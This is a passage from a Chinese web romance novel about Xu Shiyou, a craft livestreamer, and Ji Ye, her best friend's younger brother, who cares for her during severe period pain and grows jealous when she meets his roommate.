季野只觉周围的时间都慢了下来,直到徐诗柚间隙地抬头,正好和他落在她身上的目光对上……
他慌忙低头假装撸猫,耳根却悄然泛红。
欲盖弥彰地问:“有我能帮上忙的地方吗?”
刚问完,口袋里的手机就传来震动声。
掏出来看了眼,是群消息。
季野本来是想点语音转文字的,一不小心,就点了播放。
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>“季学长,你出门了吗?我准备出门了,我们一起过去吧?我在小区门口等——”
是个甜甜的女声,话还没说完,就被季野慌忙掐断。
一抬头,果然对上徐诗柚充满揶揄的眼神。
靠!他完全忘了,周末还有小组作业这回事!
“不是,是小组作业的成员,她好像也住在这片,上次来这碰见过,知道我周末会来这住……”
他着急解释,话都变多了。
“哦~”徐诗柚应着,脸上揶揄的笑意却并未消退,“那你还不快去?让学妹等着不好吧?”
季野唇线拉得平直,眉心蹙起:“我没跟她约好,是她自己……”
“这学妹喜欢你吧?”
“……”
徐诗柚拍拍他肩:“也是,我们弟弟长那么帅,有人喜欢也很正常,都大二了,要有喜欢的人,也该谈个恋爱什么的了。”
一副姐姐的口吻。
季野直接脸都黑了,语气闷闷:“我不喜欢她。”
“哦?那是有其他喜欢的对象?”徐诗柚眨眨眼,来了兴致。
季野不说话了。
“或者……是暗恋?”见他闭口不谈,徐诗柚兀自猜测。
季野眸光微动,目光轻轻落在对面带着狡黠笑意的人身上。
“不能说?好吧。”徐诗柚收回揶揄的目光,故作感叹,“那得是多优秀的人才能让我们家阿野顶着这么张脸玩暗恋啊~”
季野耳朵动了动。
她喊他阿野……还夸他帅了……
他飘了下,忽的出声询问:“表白的话,对方就会接受吗?”
“嗯?”徐诗柚只是随口,没想到他突然问得这么认真,看来是真有暗恋的人了。
“你顶这么张脸去告白,应该很难有人能拒绝吧?”
徐诗柚有些哭笑不得,怎么突然就转知心姐姐频道了?
季野却有些为难:“但是,她好像有喜欢的人……”
“啊,那就有点难了……”
“但那个人,好像对她并不好。”
“那你把她抢过来!”徐诗柚立马反水。
季野神色稍滞,忽又不太自信地喃喃:“抢过来…我可以吗……万一让她生气了呢……”
“怎么不可以了?你不是说那人对她不好吗?你这是拯救她出火海,让她远离渣男!”徐诗柚自己的感情一团糟,说起别人的倒是头头是道。
不过她也确实是这么想的,就像弟弟说有暗恋的人,她要是喜欢,她觉得自己也不是不能抢。
她向来是看上就主动出击的,就像当初对秦聿也是……
只是当时初出社会,年少天真,没考虑太多,才导致一错再。
还捧了一颗心傻傻奉上。
季野听了她的话,像是陷入了自己的思考中,低着头不作声,手却还在无意识地一下一下顺着猫。
徐诗柚提醒他:“人家学妹不是还在等你吗?还不走啊?”
季野这才回过神来:“等她走,等不到回复,她应该就会自己走了。”
也是,如果不喜欢人,还是别给对方错误的信号比较好。
“你们要做什么小组作业啊?”
“拍视频。”
这专业一天到晚布置各种视频作业,还总要组小组,季野挺烦的,他不是个很爱合群的人,身边能玩一起的也没几个。
“要男女主那种?”
“……要。”剧本不是他安排的,他也只能配合。
“刚刚那该不会就是女主吧?”
“是……”
“男主是?”
“……我。”
“唔~这样啊。”徐诗柚说着,忽然搁下了手中工具,指尖漫不经心地抵着下颚,托着腮偏过头来。
她桃花眼流转,眼尾微微上挑,漫出几分勾人的弧度,语调轻柔,带着刻意放缓的慵懒,像羽毛轻轻划过人心尖。
“那……会有亲密镜头吗?”
8. 疼痛
她眼睛像有钩子,唇角的笑意暧昧不明。
季野心跳漏了半拍。
“没有。”有的话他也不会拍。
“行,那你去吧。”徐诗柚收回目光,又端回一副长辈姿态,“男孩子在外面,也要保护好自己,知道吗?”
“……”
“有喜欢的人,就要洁身自好,路边乱扑上来的阿猫阿狗的可别轻易乱碰,躲远点,懂吗?”
“不然以后可是要被喜欢的女孩嫌弃的。”
别像她,不自爱。
“……”季野只觉心堵,刚有那么一瞬,分明从徐诗柚那感觉到了些什么。
是什么呢?
他说不清。
“还不走吗?”徐诗柚看已经聊挺久了,估计那女孩都走了。
“你一个人在家……没关系?”见她赶人,季野蹙着眉问了这么一句。
徐诗柚都要被逗笑了:“小屁孩,我还需要你担心?再说了,你姐不是等会就回来了?”
那声“小屁孩”让季野绷紧了唇线,面露不悦,不过徐诗柚这会又低头专注在手工上了,没注意到他的变化。
季野心头微动,也不知道是哪抽风了,脑子反应过来前,身体已然凑了上去。
泡芙随着他起身的动作,从腿上跌下,发出一声控诉的喵呜,摇着屁股走了。
徐诗柚只觉自己的脸突然被掐着掰到了一边,直直对上季野在面前放大的脸。
卧槽,什么美颜暴击!
她瞪圆了美目,一脸懵。
然后就听见对方带着点低哑的少年音色:“徐诗柚,我成年了。”
他眉目低下,视线轻落在她脸上,看着被自己掐得两边颊肉都鼓起的人,忽就觉得触在对方皮肤上的指尖都在发烫。
“别喊我小屁孩……我不喜欢。”他很快收回了手,丢下这么一句就匆匆起身往门外去。
“我走了。”
直到关门声响起,徐诗柚都还一副宕机的状态,她快速地眨了两下眼,傻愣愣的。
许久,神思回笼。
靠,她怎么感觉,自己刚刚那是被弟弟撩了呢?
而且,他喊她什么?
回过神来的徐诗柚,越想越不带劲,拿起手机就给对方发信息。
【你刚喊我什么?没大没小!】
【喊姐姐,听见没!】
JY:【……】
-
发完信息后,徐诗柚继续沉入到手作中,也没注意到时间的流逝。
直到季薇发消息过来。
薇薇薇:【宝贝,抱歉啊!我估计回不来了!!TAT】
薇薇薇:【总公司那边有事,需要临时飞京市一趟,我这会已经在机场,没法回去给你做饭了!(大哭)】
薇薇薇:【说好你过来让我照顾的,结果把你晾在了家里,呜呜呜你会原谅我的吧??】
徐诗柚回:【没事,工作要紧,我点外卖就好了,回来再请我吃好的~】
薇薇薇:【必须的!不过你都过来了,也别跑来跑去的,先住我那吧,季野也就周末这两天在家而已,而且他一般都宅在房间,不会影响你的。】
薇薇薇:【你今天身体怎么样了?还疼吗?】
大柚子:【没事,这会不疼。】
薇薇薇:【行,不说了,我要登机了,有事打给我!】
大柚子:【好,一路顺风。】
放下手机前,徐诗柚看了眼时间,这会已经中午12点了,便顺手点了个外卖。
手上的活没剩多少了,不出意外今天就能完工,等外卖期间,她继续忙。
外卖大概是半个小时后送来的,她吃过饭后,下午继续投入工作。
不过这次她找来了支架,对准自己的手,开启了直播。
这号让她荒废太久了,她突然想起可以把号重新盘活一下,说不定还能接到订单。
徐诗柚这段时间并不想找工作,干脆趁辞职休息一段时间,顺便赚点外快。
她就是个不温不火的手工博主,还是经常断更很久的那种,这会开了直播也没多少人进来。
偶有路人路过,说的也是不着边际的话。
晚些时候,人才多了些,也有了粉丝进来。
【哇!柚子回来开直播了!好久不见啊!】
【柚柚好久没发新教程了!能不能抽空发个(哭)】
【博主手好漂亮啊,手控狂喜!】
【这捏的是什么啊?】
【好精细的手工活。】
徐诗柚偶尔看一眼弹幕,对大部分发言都一笑置之,但有时也会挑一两句和手作相关的问题回应。
【小姐姐的声音也好好听,能不能多说几句?】
她一说话,弹幕的互动就多了起来,徐诗柚从善如流地多说了几句,但后来就不怎么开口了,因为一做到精细部分,她就投入专注,没空看手机。
也不知道播了多久,徐诗柚隐隐察觉到肚子又开始有坠痛感,预感这会是真要来了。
她就是这样,每次生理期前几天就开始各种不对劲,中间可能会没事个一两天,一到来的时候更是虚上加虚,有时还会痛到起不来床。
所以以前一到这时候,季薇就会对她格外照顾,有时还会搬去和她住上几天,或者让她来家里住的情况都是有的。
后来她工作去了京市,一心想去大城市闯一闯,也硬靠自己熬过了无数个疼痛的日夜。
那几年季薇偶尔也会飞过来照看她,再后来认识了秦聿,那人虽然脸臭嘴毒,但每次这种时候他嘴上虽然冷嘲着,行动上却还是体贴的。
这一点,连季薇都没法说他什么。
又撑了会,徐诗柚觉得不能勉强了,这才和粉丝交代了声,退出了直播。
她回房找卫生巾,结果翻了半天也没翻到。
她明明记得,自己特意准备了的!
不知道是不是收拾的时候忘记塞包里了,这会也不可能回去拿,干脆找季薇的用。
不知道季薇下了飞机没,她先发了个信息问她:【薇薇,你家的卫生巾放哪了?我的好像忘家里了。】
季薇这会也落地没多久:【来了?好像放右边抽屉的最下层了,你找找?怎么样?还好吧?】
徐诗柚边翻抽屉边回语音:“感觉要来了,以防万一。还好,不过,抽屉里没有啊?”
“那你看看左边的?”
徐诗柚又按着指示一连翻了好几个地方,都没有!
“呃,也许,可能,我用完忘买了……”季薇发
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来的语音犹犹豫豫的,一听就底气不足。
【算了,我现在去买吧。】
小腹处这会像被只无形的手攥住,钝痛感一阵接着一阵,徐诗柚怕季薇听出不对劲会担心,改成了发文字。
【怪我,这阵子太忙了,都忘了补充,我给你点上门的吧!】
【不了,我下去买还快点。】
徐诗柚说完便按灭了手机,想趁还没流出来前赶紧买了上来,可别半路就漏出来了,那得尴尬死。
只是她才走到门边,一阵搅腹感袭来,痛得她直接腿软到扶墙滑下。
泡芙似是察觉到了她的不对劲,围在她脚边焦躁地转来转去,喵呜喵呜叫着。
徐诗柚艰难地腾出一只手安抚它。
忽的听到门外传来声响,下一秒,门被从外面打开,季野走了进来。
他一眼便瞧见了蹲在地上满脸痛苦的徐诗柚,先是一愣,而后赶忙过来扶她:“诗柚姐?”
徐诗柚已经痛得站不起来了,一只手紧紧攥着季野的小臂,力度大到隔着衣服都能被她的指甲刺到。
徐诗柚也顾不上思考那么多,缓过一阵痛劲后才虚虚出声:“扶我到沙发上……”
季野没扶她,直接把她打横抱起到沙发上放下。
徐诗柚弓着身,手按在小腹处,额前沁出一层冷汗,嘴唇也苍白得可怕。
季野见状,眉蹙得更紧了:“是肚子痛吗?我送你去医院?”
“不是,你帮我……帮我买……”
“什么?”她说话声太虚了,季野听不太清,侧着耳凑上去。
“卫、卫生巾……”
“啊?”季野懵了下,怀疑自己听错了。
“帮我买卫生巾!”徐诗柚忍着痛,提了一口气完整地重复了遍。
季野后知后觉怎么个事,感觉凑近听的耳朵都烫了下。
不过他没多犹豫,去房间里拿了床被子给徐诗柚盖上。
“好,我现在就去买,很快回来。”他下意识手抚了下她头,脸色也不太好看,交代完就匆匆出了门。
-
季野直接去了离小区最近的超市,转来转去地找到了专卖货架。
只是……
这都什么跟什么?
对着琳琅满目的花花牌子,没谈过恋爱,也没和女生有过什么接触的纯情大男孩,陷入了短暂的迷茫。
连他姐都没让他买过这东西……
他凑上前仔细端看上面的字,眉头拧成了疙瘩。
超薄,棉柔,夜用,日用,加长,夜用加长,护垫……
还有什么240mm、320mm之类的数字,这是什么密码吗?
这会刚好有两个女生溜达了过来,瞧见他脸后都露出了一瞬的惊艳。
他长得高,这么大一个男生杵在卫生巾专卖货架前,实在很难不让人关注,而且还是脸蛋这么出众的。
“你快看那个,好帅啊!”
“谁家女朋友这么幸福啊?男朋友又帅又贴心的,慕了慕了……”
身后两个女生在窃窃私语,只是季野耳朵好使,都听见了。
他顿觉脸颊发烫,卫衣帽子往头上一扣,随手把标注不同的都一样拿了几包,通通丢进了购物车,然后匆匆推车离开。
9. 被窝
腹部的搅痛一阵阵的,每次痛感都绵长难忍,徐诗柚蜷在沙发里,膝盖抵着胸口,额角的冷汗顺着鬓发往下流。
其实她在京市那几年,秦聿给她调养过一段时间,那会生理期已经不会这么痛了,不知道是不是这大半年没太重视,老毛病又开始卷土重来。
不知过了多久,季野回来了。
其实也没多久,20分钟都没有。
而离这里最近的超市,步行过去也要十来分钟,可见对方是跑着来回的。
徐诗柚见到他的时候,他鼻尖上都出了层薄汗。
“我买回来了,但我不知道你要哪种……”
徐诗柚被他扶起,看了眼那装了一大袋的卫生巾,真是两眼一黑。
要不是笑起来会牵动腹部,她是真控制不住。
“你怎么不干脆把货架搬回来算了。”她艰难地扯着嘴角,还要打趣他。
季野不自在地咳了声,虽然觉得买这个有些羞耻,但还是闷声道:“你需要的话,下次给你搬回来。”
他说这话的时候脸上没什么表情,徐诗柚都分不清他是认真还是开玩笑的了。
不过这会也没空跟他拌嘴,她从袋子里随便拿了包日用的,就被季野扶着送到了主卧的卫生间。
季野不好在里面等,帮她关上了卧室门就回到了客厅。
沙发上的被子落了一半在地,他去捡。
起身的时候不经意扫到了沙发上的一抹红。
他先是一愣,紧接着,整张脸都烧了起来。
-
徐诗柚刚进卫生间没多久也发现了,裤子脏了。
也不知道有没有弄到沙发上?
万一有……那就有点尴尬了。
但她也顾不上在意这些,因为小腹的疼痛感并没有因此而减轻,反而有愈演愈烈的趋势。
她强撑着换上卫生巾和干净的裤子后,才捂着小腹出了房。
季野见她出来,又过来扶她到沙发上先坐着。
徐诗柚快速朝沙发上扫了眼,没看见什么血迹,松了口气。
不然感觉在弟弟面前,她身为姐姐的脸面都丢光了。
不过她坐下撑不到三秒就躺下去了,整个人蜷缩成一团,感觉这痛感比以往来的都要强烈。
季野端了热水过来,又把她扶起:“诗柚姐,我看你太痛了,要不先吃点药缓解下吧?”
徐诗柚头靠在他怀里,几乎是闭着眼吃进去的,都没管什么药,灌了口热水后又躺了回去。
季野替她把被子盖上:“你先睡会。”
徐诗柚艰难地点点头,一句话也不想多说,就闭上了眼。
她体寒,这会手脚也凉,在被子底下缩成了一团。
但过了会,倏地感觉怀里被塞了个物件,暖意袭来。
季野不知道从哪弄来了两个暖水袋,一个塞进了她怀里,一个塞到了她脚上。
“听说来那个的时候,用这个能缓解疼痛?”他蹲在沙发前,不太确定地说,“我也不是很懂,诗柚姐你先试试吧……”
“谢谢……”简直救了她大命。
“你休息吧。”
“好。”
不知道是不是因为是闺蜜的弟弟的缘故,徐诗柚对季野有天然的亲近感,很放心,还真有点是自家贴心弟弟的安心感。
她很快就放松了下来,意识也迷迷糊糊的。
等徐诗柚睡下后,季野干脆背靠着沙发,盘腿坐在了地毯上,继续刚才的搜索。
生理期该如何缓解疼痛?
痛经怎么调理?
生理期吃什么比较好?
……
-
徐诗柚醒来的时候发现自己躺在了个不熟悉的地方。
不是客厅,也不是季薇那偏法式风的房间。
有点冷淡风,入目都是黑白灰这样的颜色。
但当她偏头看去的时候,又觉得突然进入了机械风?
电脑桌的那方天地明显被重点打造过的,摆放着各种机械模型,电脑上方的架子上,放着不少游戏手柄,墙上的柜子是手办展示,数量不是很多,但每个都很精致酷炫。
旁侧还有架子,挂着滑板,再有就是吉他,篮球。
徐诗柚第一次见到这么充满少年性的房间,忍不住转动着眼珠四处打量。
季野推门进来的时候,就见她睁着一双好奇宝宝的眼四处滴溜,一种私人空间被窥探了的羞耻感涌上。
“别看了。”他伸手挡在了她眼睛上方。
徐诗柚收回目光,声音还有些虚:“我怎么在你房间?”
“我怕你在沙发上睡不舒服……”他摸了摸鼻子,视线漂移,“那个,毕竟主卧是我姐的房间,我不好总在里面进进出出,为了方便照看,就先把你带到自己房间来了。”
他是个比较注重个人空间和边界感的人,季薇也知道,所以两人在家其实很少不经同意就跑到对方房间的。
季薇是无所谓,只是季野比较讲究。
徐诗柚觉得这人一回来,又是给她买卫生巾,又是给她喂药准备暖水袋,还要照看虚弱的她,真是麻烦死人了。
说到底,他是季薇的弟弟,又不是自己闺蜜,自己是不是也太不见外了?
“抱歉啊,我好像给你添麻烦了……”
“没有的事,姐有说她不在的时候,让我替她好好照顾你。”
怕她有负担,他又补了句:“我也不觉得麻烦……”
徐诗柚往被子里拱了拱,半张脸陷入到柔软的被褥里。
一缕淡淡的柑橘香缠上鼻尖,像刚剥开的青柠,带着点冷感,还有点……令人心安的侵略性。
不知道为什么会想到侵略性这个词,徐诗柚蓦地觉得脸上有些烫,往被子里埋得更深了。
那气息从鼻尖缠到心口,让她心安,连呼吸都变得轻缓起来。
季野见她一直往被子里拱,以为她又不舒服,赶紧给她把被子往下拉了拉,把她的脸从被子里挖出来:“是不是还不舒服?”
他手扯被子的时候不小心蹭过她脸,心下顿惊:“你脸怎么这么烫?不会发烧了吧?”
徐诗柚:“……”
“我去拿体温计给你测测。”
徐诗柚无奈地扯住他衣袖:“没发烧。”
“可你的脸……”
“没发烧!”她声音提高了些,颇有点恼羞成怒乱撒气的意味。
“哦……”季野被吼得懵了下,以为生病的人脾气都不好,也没计较。<
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p>他端过放在一侧的碗:“那你趁这会,先把这个喝了吧?”
徐诗柚慢腾腾地爬起,看了眼他端来的,有些诧异。
红糖姜枣奶茶。
徐诗柚其实一直觉得生理期喝什么红糖水,红糖姜茶的都是伪科学,除了长胖,缓解不了她一点痛,还不如布洛芬。
不过她嘴里寡淡,就馋这一口甜的。
她接过碗,惊奇:“你还会做这个?”
“看教程学的。”他会才怪。
徐诗柚尝了口,点头夸赞:“味道不错啊?嗯,看来有点你姐那做饭的天赋。谢了,弟弟。”
“……”他才不会告诉她,其实他烧焦了一锅,这是他重做的。
徐诗柚喝完,又躺了回去。
她小腹还是有点痛,只是痛感没有睡前那么强烈了。
而且,意外打入了弟弟卧室,还睡了弟弟的床,徐诗柚有些不想这么快离开。
不过很快她又发现,自己身上似乎发了不少汗,衣服都有点黏腻地贴在身上,不太舒服。
怕给人床弄臭,她起身:“算了,我还是不睡你这了吧,身上出了好多汗,怕给你床弄脏了。”
季野却把她按了回去:“那就更别乱动了,你身体太虚了,等会折腾来折腾去的着凉了更不好。”
“可是……”
“我去把你的行李拿来。”
“啊?”
徐诗柚过来的时候提了个小行李,装的衣服护肤品之类的一些日常用品。
她本来是打算在季薇家至少赖上个一周的,没想到她却出差了。
季野给她把箱子提了过来,她麻木地找了身干净的衣物,临到换的时候才觉得哪不对劲。
不是,在一个男性的被窝里换衣服?
虽然季野送完衣服就很自觉地退了出去,还关上了门,但徐诗柚还是觉得很怪异。
尤其是,这卧室,被褥,枕头,目之所及全都充斥着浓烈的男性气息,有种莫名的侵略感。
在这里换衣服,总觉得有点……羞耻?
好像会被什么窥视到一样。
季野是真把她只当姐啊?这么无所谓的吗?
或许真是没想太多,只是单纯地把她当成姐姐的好朋友,怕没照顾好?
季野确实没多想,他只是单纯觉得徐诗柚身体太虚了,怕她一出被窝,受点凉就会病倒,所以干脆让她在床上换了,这样还能盖着点被子。
本来是这么想的……
但当他把门关上后,倏地就意识到,这行为……其实,好像,很暧昧?
他抱着头缓缓蹲下,很颓。
擦,他又干了什么蠢事?
徐诗柚不会以为他有什么龌龊的想法吧……
虽然他确实有想法……
不是,问题是他刚才没想法啊!
他深呼吸,用力闭了闭眼。
结果脑子里还不合时宜地闪过刚才沙发上看到的那一抹红,虽然已经被他擦掉了……
身体顿时气血翻涌,燥得不行。
咔哒。
身后的门开了。
徐诗柚眨巴着眼,一脸迷茫地看着蹲在门口的人:“你……蹲在地上做什么?”
季野:“……”
10. 爹地
季野认命地抬起头,见她只披了件薄薄的针织外衫就跑了出来,眉蹙起,语气不自觉带了点责备:“怎么跑出来了?不是要再睡会吗?”
“哦,我有点饿了……”只喝了碗红糖姜茶,徐诗柚觉得嘴巴还是寡淡,现在更想吃点咸的。
“对了,你会做饭吗?”徐诗柚问。
季野憋了半响:“……不会。”
“哈哈,正好,我也不会,那我们点外卖?”
“……好。”
两人在家都是等着季薇投喂的,虽然不想承认,但那碗红糖姜枣奶茶,已经是季野的巅峰作品了。
再复杂的……他得再深造一下才行。
徐诗柚又盯着他看了半晌:“……你,还不起来吗?”
“……”季野一言难尽,他能说他现在站起来会很尴尬吗?
“我腿麻了,缓缓……”他随便扯了个借口。
“好吧。”徐诗柚不能理解,但尊重,然后绕过他走。
她刚从他旁侧过去,季野就起了身,下一秒,就听见“砰”的一声,身后的房门被关上了。
徐诗柚:?
这不是……挺利索的吗?
-
等外卖的时间,徐诗柚抱着热水袋在沙发上刷消息。
季野从房间出来后,拿了件自己的外套给她披上:“先穿着吧,怕你冷到。”
“谢谢。”
徐诗柚毫无负担地接下,继续刷手机。
泡芙本来想跳到她身上的,被季野揪着命运的后脖颈拎走了。
徐诗柚给季薇打了个视屏电话,听她说,总公司那边的事一时半会结束不了,可能得呆上一周才能回。
两人又聊了会有的没的才挂了。
挂了后,发现秦聿又给她发了消息。
秦聿:【身体怎么样了?这回痛吗?】
以前两人一起的时候,都是徐诗柚主动给他发信息的多,分开的大半年,也没见他主动过一次。
这会辞职后,也不知道他抽的哪门子风,突然就这么主动了。
徐诗柚干巴巴地回他:【不痛,没事,很好。】
然后就不再看手机了。
她和季野两人,点了几个家常菜配白米饭。
吃饭的时候,徐诗柚难得见季野寡淡的脸上染了点笑意。
有些疑惑:“你笑什么?”
“没,就是想,本来这周末就是想请诗柚姐你吃饭的,但你不是说有事吗?没想到阴差阳错还是一起吃了。”
徐诗柚也想起来了,当时心情不好,随口推掉了弟弟的邀约。
“对了,你本来是有什么事的?”
徐诗柚:“……”
让你撒谎!!!
-
第二天是周一,季野回了学校上早课。
徐诗柚一般也就来的前一两天会痛得比较厉害,她之前多少调理过,加上不知道是不是季野把她照顾得太好了,她今天的痛感没那么明显,就是还有点坠坠的不适感。
但季野临走之前还是千叮咛万嘱咐地强调让她有事一定要给他打电话。
说她万一在家里出了什么事,他姐肯定不会放过他。
徐诗柚干脆把给孟嘉信定制的手办一并交给他:“你替我转交给你舍友吧,昨天已经做好了,要是还有什么不满意的地方,让他微信给我说。”
“好。”
-
季野走后,徐诗柚就在家开直播。
应粉丝要求,做了个新教程,教学案例是她之前给季野捏的小猫女。
直播期间,还意外接了两单新粉的生意。
一单是给蛋糕店做展示模型,要做的款式还不少,算是一笔不小的订单了。
还有一单则是客户定制的原创角色,但没有参考图,只有文字描述,这种就有点麻烦了,万一做出来不是客户想象中的,基本等于白做了。
不过徐诗柚也没挑,还是接下了。
等到下午快4点的时候,徐诗柚收到了孟嘉信的消息。
隔着屏幕都能感受到的兴奋和喜悦。
【姐姐,我收到你的手工了,非常满意!太太太好看了!!是我至今为止花钱花得最满意的一次定制了!!】
徐诗柚发了个笑容给他:【喜欢就好。】
孟嘉信超级爽快地给她转了尾款。
徐诗柚欣然接下,正准备说两句谢谢老板金主之类的话,就见对方又发来一条。
【姐姐这周有空吗?我还有订单,可以见面详聊吗?】
……
-
徐诗柚后面几天生理痛轻了不少,已经不影响生活了,每天就是埋头开直播,做订单。
季野因为大二专业课比较多,平时周中其实很少回季薇家,不过因为徐诗柚在,他没课的时候偶尔也会抽空跑回来。
本来就是因为他姐这离学校近,他才会住过来的,跑回来倒也没有不方便,但除了徐诗柚痛得死去活来的那天,其他时候他都没在家里留过夜。
也是顾及到两人毕竟是异性。
徐诗柚看出他是有点不放心自己才这么跑来跑去的,提醒过几次自己没什么事了,让他别跑来跑去的影响学习。
后面他就转为了发信息,每天雷打不动地确认她状态,说的依旧是替季薇照看她之类的云云。
徐诗柚也无所谓,反正和弟弟多聊几句还能拉近关系。
不过徐诗柚看着每天差不多内容的问候,陷入了沉默。
几乎都是问她起床了没,吃了没,有没有哪里不舒服之类的。
嗯……怎么有点男朋友监督女朋友那味?
大柚子:【弟弟,你该不会是爹系的吧?】
JY:【?】
大柚子:【你觉不觉得,你好像那种罗里吧嗦的爸爸。】
JY:【????】
大柚子:【(语音)】
-
季野收到信息的时候正好下课回到宿舍,放下手上的东西就开始噼里啪啦地敲字。
徐诗柚语音发来的时候他也没什么防备,随手就点开了。
【Daddy?】
带着点试探的慵懒女声从手机里传出,季野手都跟着抖了下,“啪”地把手机按灭反扣在了桌面。
心脏狂跳。
“靠,季野你脱单了?还让人喊你daddy?”
头顶传来声音,季野震惊回头,就见林千从床上坐起。
“你怎么在这?”
“我下午没课啊,在宿舍补个觉怎么了?”林千从上面下来,嘴上还在叭叭,“没想到你还挺会玩啊,都让人喊上爸爸了。”
“……我没。”
“那刚刚那是什么?”
“……”
他也想知道啊?!
“女朋友?暧昧对象?”
季野眉蹙起:“胡说什么?”
“爸爸都喊上了,这也算胡说?”
男生之间会经常互相开玩笑让喊爸爸什么的,这季野知道,但女生也会这样吗?
好像,不太一样……?
默了会,他问林千:“这是什么很特别的称呼吗?”
“特别?应该算吧?与其说特别,不如说,是有点暧昧的……?你看哪个正常关系的男女会喊对方daddy啊?也就陈旭那狗,天天让女朋友喊自己爸爸……”
林千说起宿舍里唯一脱单的舍友时,语气都酸溜溜的。
现在看见另一位舍友似乎也要脱单了,更酸了:“你不是挺不近女色的吗?这又是哪个学妹啊?”
暧昧……
女朋友……
季野脑子里只剩这几个字在循环往复。
“没有不近女色……”他下意识接了句,低声喃喃。
林千都惊呆了,这是他那个
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清心寡欲到连隔壁表演专业的系花都拒绝了的舍友吗?
“操!你开荤了?!”
季野脑子都炸了,随手操起个东西就朝他砸去:“有病吧你!”
……
-
周五下午,徐诗柚宅了几天后,难得化了个妆,换了身裙子出门。
孟嘉信说他今天下午没课,所以约在了这个时间。
好歹是甲方,徐诗柚自然要好好收拾一番,以示礼貌的。
那天突然兴起地给季野发了句语音后,对方就隐了,连带着日常问候都一起消失。
昨天一天,居然一条信息都没给她发过。
不知道是被吓到了,还是不喜欢这称呼?
不是说男的都挺喜欢女的喊自己爸爸的吗?尤其还是这种小男生。
也不知道哪个环节出了错,徐诗柚暂且搁置这问题。
季薇家离季野的学校挺近的,干脆就约在了离学校不远的咖啡店。
她到的时候,对方已经等在那了。
徐诗柚只在去给季野送手办的时候见过一次孟嘉信,不过那会她的注意力都在季野身上,没怎么注意他的两个舍友。
这会才发现,孟嘉信长得还有点小帅。
长相偏秀气,笑起来还有对小虎牙,嚯!阳光可爱型男大弟弟?
孟嘉信看见她的时候,先是一怔,然后眼底是掩不住的惊艳。
看着徐诗柚一步步朝自己走来,在他对面落座,心都跟着飘了下,恍然有种和大美女约会的错觉:“姐姐你,今天好漂亮啊。”
真是个会说话的直白弟弟。
徐诗柚笑,故意逗他:“你这意思是……我上次不漂亮?”
“不、不是!上次也漂亮!”平时挺会说话的一人,这会不知怎的说话都不利索了。
孟嘉信莫名紧张,这就是所谓的年上气场吗?
这姐姐一看就是那种,很擅长应对异性的人。
徐诗柚给自己点了杯咖啡,两人没寒暄太多,很快进入了正题:“说说看吧,你说需要详聊的是什么?”
孟嘉信见她敛了些笑意,也一下正色起来:“嗯,是这样的,之前我麻烦姐姐做的那几个……”
……
“你就是那个博主?所以那个兽设是你的原创角色?”听完孟嘉信的一番话,徐诗柚也有些惊讶了。
她还以为能养出这么可爱的兽设的,背后肯定是个可爱的女孩呢,真是刻板印象了。
难怪当时沟通的时候总觉得他说话怪怪的。
孟嘉信也有些不好意思,这事他没怎么和身边人说过,毕竟他的爱好在男生里挺小众的,也怕别人觉得他幼稚。
“所以你的意思是,你的粉丝想要你这个角色的相关周边,但因为不是大批量生产,很难找到工厂愿意接,所以,你希望我能承接一些相关周边制作?”
“是的。”
“但老实说,我的手工费并不便宜,你的原创角色在小圈子里是有点知名度,但毕竟不是什么热门IP,赚不了什么钱的吧?”徐诗柚这话说得直白,主要是她也并不想为了赚钱而含糊其辞。
“啊,没关系的,我不缺钱。”孟嘉信轻描淡写地结束了这个话题。
徐诗柚:“……”
“我主要是想给粉丝一些回馈,拿来卖或者送都没什么关系,我做这个更多是想从中得到些情绪价值。”
“……好吧。”该死的有钱人。
后面两人又聊了不少具体问题,聊到后来,徐诗柚发现他的需求量并不少,只是相对工厂的最低单量显得不够看。
徐诗柚决定和他商议签订合同,长期接他的定制单。
聊完的时候已经不早了,孟嘉信还问她要不要一起吃饭,徐诗柚找了个借口拒绝了。
她开车把孟嘉信送回了学校,这才拿出手机发信息。
【弟弟,出来吃饭吗?】
11. 下厨
“我去,孟嘉信这是出去约会了?”
“这美女谁啊?难怪下午找他说有事,都不出来打球了。约会对象这么漂亮换我也不打。”
刚从球场下来,几个男生凑在一块,盯着手机大呼小叫的。
有人问季野:“喂,阿野,你们不是室友吗?嘉信那小子是不是交女朋友了?还是个姐姐?”
季野不知道,他渴得要死,接过瓶水就拧开喝。
顺带兴致缺缺地扫了眼对方递到眼前的手机,然后下一秒,直接呛咳出声。
他一把夺过对方的手机,仔细看了眼那朋友圈。
【出来约个饭!姐姐真的很漂亮哈!差点紧张得话都不会说了。】
不是偷拍,照片里的徐诗柚还很配合地在脸侧比了V,歪着头,甚至还俏皮地wink了下。
季野面无表情地把手机扔回给朋友。
“靠,你往哪扔呢?”朋友险险接住,骂了句。
“你怎么回事?平时不是对这些八卦都没兴趣的吗?”
朋友见他表情不对,就多问了几句:“怎么?认识啊?你也见过?真是孟嘉信女朋友?”
“……问我做什么,你问他啊。”季野冷着张脸,把球砸在了地上,丢下这么句话就走了。
“不是,他干嘛突然朝我发脾气?”
“他是在朝我发脾气吧?是吧?我惹他了吗?”
“……”
剩下的几人耸耸肩,面面相觑。
-
徐诗柚的车停在校外等了好一会,都没等到季野回复。
正想着要不要打个电话,告诉他自己现在就在校门了,弟弟回了。
【不了,有事,导师找。】
不知道是不是徐诗柚的错觉,弟弟的这回复怎么感觉……有点冷淡?
和他之前嘘寒问暖,唠唠叨叨的风格都不一样了。
上一条信息还是那条daddy的语音,之后弟弟就没再主动找过她,她还想着把人叫出来看看呢。
现在回复又这么冷淡。
难道是上次的语音太明显,让他发现了自己的一点小心思,所以在和她保持距离?
也是,如果对季野来说,自己只是姐姐的朋友,自己的照顾也都是出于自家姐姐的嘱托,没有任何想法的话,在察觉出她不纯的心思时,想保持距离也是正常。
徐诗柚手指敲击着方向盘,而后叹了口气,驱车离去了。
-
另一头,季野已经回了宿舍。
平均每三秒要点开手机看一眼。
没有回复……
他对着自己那条信息看了又看。
好像是有点冷淡……
情绪是不是来得有点莫名其妙?她看了会生气吗?
他心烦地长按住自己那条消息,徒劳,早过了撤回时间。
她不回他了。
或者只是没看见?还是说,只是单纯地不想理他……
季野后悔死自己刚才的冲动回复了。
徐诗柚好不容易主动找他一次,还约他吃饭,他也不知道自己当时脑子抽的什么风,怎么就给拒绝了?
他手指在屏幕上来来回回地敲敲打打,然后又删掉,如此反复了几遍,也没找到什么合适的借口再改口说自己要去。
这时,宿舍有人回来了。
进来的是孟嘉信,心情还很好地哼着曲子。
季野一看见他,脸都黑了。
